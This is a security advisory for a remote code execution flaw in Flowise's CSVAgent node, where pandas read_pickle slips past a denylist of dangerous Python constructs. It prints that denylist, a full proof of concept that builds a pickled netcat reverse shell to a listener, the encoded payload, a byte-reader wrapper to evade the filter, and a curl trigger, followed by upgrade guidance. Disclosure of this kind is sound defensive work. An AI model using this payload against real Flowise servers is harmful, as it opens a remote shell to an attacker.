CVE-2026-69256: Flowise: Remote Code Execution Vulnerability in CSVAgent

Published Aug 4, 2026
·
Updated

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a readpickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

js try { const code = import pandas as pd import base64 from io import StringIO import json

base64string = "${base64String}"

decodeddata = base64.b64decode(base64string)

csvdata = StringIO(decodeddata.decode('utf-8'))

df = pd.${customReadCSVFunc} <1> mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code) } catch (error) { throw new Error(error) }

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

py const FORBIDDENPATTERNS: Array<{ pattern: RegExp; reason: string }> = [ // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports) { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' }, { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' }, // Dangerous builtins { pattern: /\beval\s\(/g, reason: 'eval()' }, { pattern: /\bexec\s\(/g, reason: 'exec()' }, { pattern: /\bcompile\s\(/g, reason: 'compile()' }, { pattern: /\bimport\s\(/g, reason: 'import()' }, { pattern: /\bopen\s\(/g, reason: 'open()' }, { pattern: /\bbreakpoint\s\(/g, reason: 'breakpoint()' }, { pattern: /\binput\s\(/g, reason: 'input()' }, { pattern: /\brawinput\s\(/g, reason: 'rawinput()' }, { pattern: /\bglobals\s\(/g, reason: 'globals()' }, { pattern: /\blocals\s\(/g, reason: 'locals()' }, { pattern: /\bgetattr\s\(/g, reason: 'getattr()' }, { pattern: /\bsetattr\s\(/g, reason: 'setattr()' }, { pattern: /\bdelattr\s\(/g, reason: 'delattr()' }, { pattern: /\breload\s\(/g, reason: 'reload()' }, { pattern: /\bfile\s\(/g, reason: 'file()' }, { pattern: /\bexecfile\s\(/g, reason: 'execfile()' }, // Dangerous modules / attributes { pattern: /\bos\./g, reason: 'os module' }, { pattern: /\bsubprocess\./g, reason: 'subprocess module' }, { pattern: /\bsys\./g, reason: 'sys module' }, { pattern: /\bsocket\./g, reason: 'socket module' }, { pattern: /\burllib\./g, reason: 'urllib module' }, { pattern: /\brequests\./g, reason: 'requests module' }, { pattern: /\bbuiltins\b/g, reason: 'builtins' }, { pattern: /\bloader\b/g, reason: 'loader' }, { pattern: /\bspec\b/g, reason: 'spec' }, { pattern: /\bclass\b/g, reason: 'class (reflection)' }, { pattern: /\bsubclasses\s\(/g, reason: 'subclasses()' }, { pattern: /\bbases\b/g, reason: 'bases' }, { pattern: /\bmro\b/g, reason: 'mro' }, { pattern: /\bglobals\b/g, reason: 'globals' }, { pattern: /\bcode\b/g, reason: 'code' }, { pattern: /\bclosure\b/g, reason: 'closure' }, { pattern: /\bvars\s\(/g, reason: 'vars()' }, { pattern: /\bdir\s\(/g, reason: 'dir()' }, { pattern: /\bdict\b/g, reason: 'dict (attribute reflection)' }, { pattern: /\bmodule\b/g, reason: 'module (module reflection)' } ]

However, by using pandas.readpickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

py import pickle import base64 import os

class Exploit: def reduce(self): return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit()) encoded = base64.b64encode(payload).decode() print(encoded)

Run it and note the encoded payload to be used later:

bash $ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=

1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow. 2. Drag a "CSV Agent" node onto the canvas. 3. Click on "Additional Parameters" and fill in the following PoC:

py isnull("") class MiniBytesIO: def init(self, b): self.data = b self.pos = 0 def read(self, n=-1): if n == -1: n = len(self.data) - self.pos chunk = self.data[self.pos:self.pos+n] self.pos += n return chunk def readline(self, n=-1): if self.pos >= len(self.data): return b"" nextnl = self.data.find(b"\\n", self.pos) if nextnl == -1: nextnl = len(self.data) if n != -1: nextnl = min(self.pos + n, nextnl) line = self.data[self.pos:nextnl+1] self.pos = nextnl + 1 return line pd.readpickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since readpickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>

Other sources

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.readpickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious readpickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.

MITRE

Affected Software

2 affected componentsFixes available
npm/flowise<=3.1.2
3.1.3
npm/flowise-components<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  2. Upgrade

    Upgrade npm/flowise-components to a version that resolves this vulnerability.

    Fixed in 3.1.3
  3. Upgrade

    Upgrade flowise-components/nodes/agents/CSVAgent/CSVAgent.ts to a version that resolves this vulnerability.

    Fixed in 3.1.3

Event History

Aug 4, 2026
CVE Published
via MITRE·03:45 PM
Data Sourced
via MITRE·03:45 PM
DescriptionWeakness
Advisory Published
via GitHub·03:46 PM
Data Sourced
via GitHub·03:46 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·05:17 PM
DescriptionSeverityWeakness
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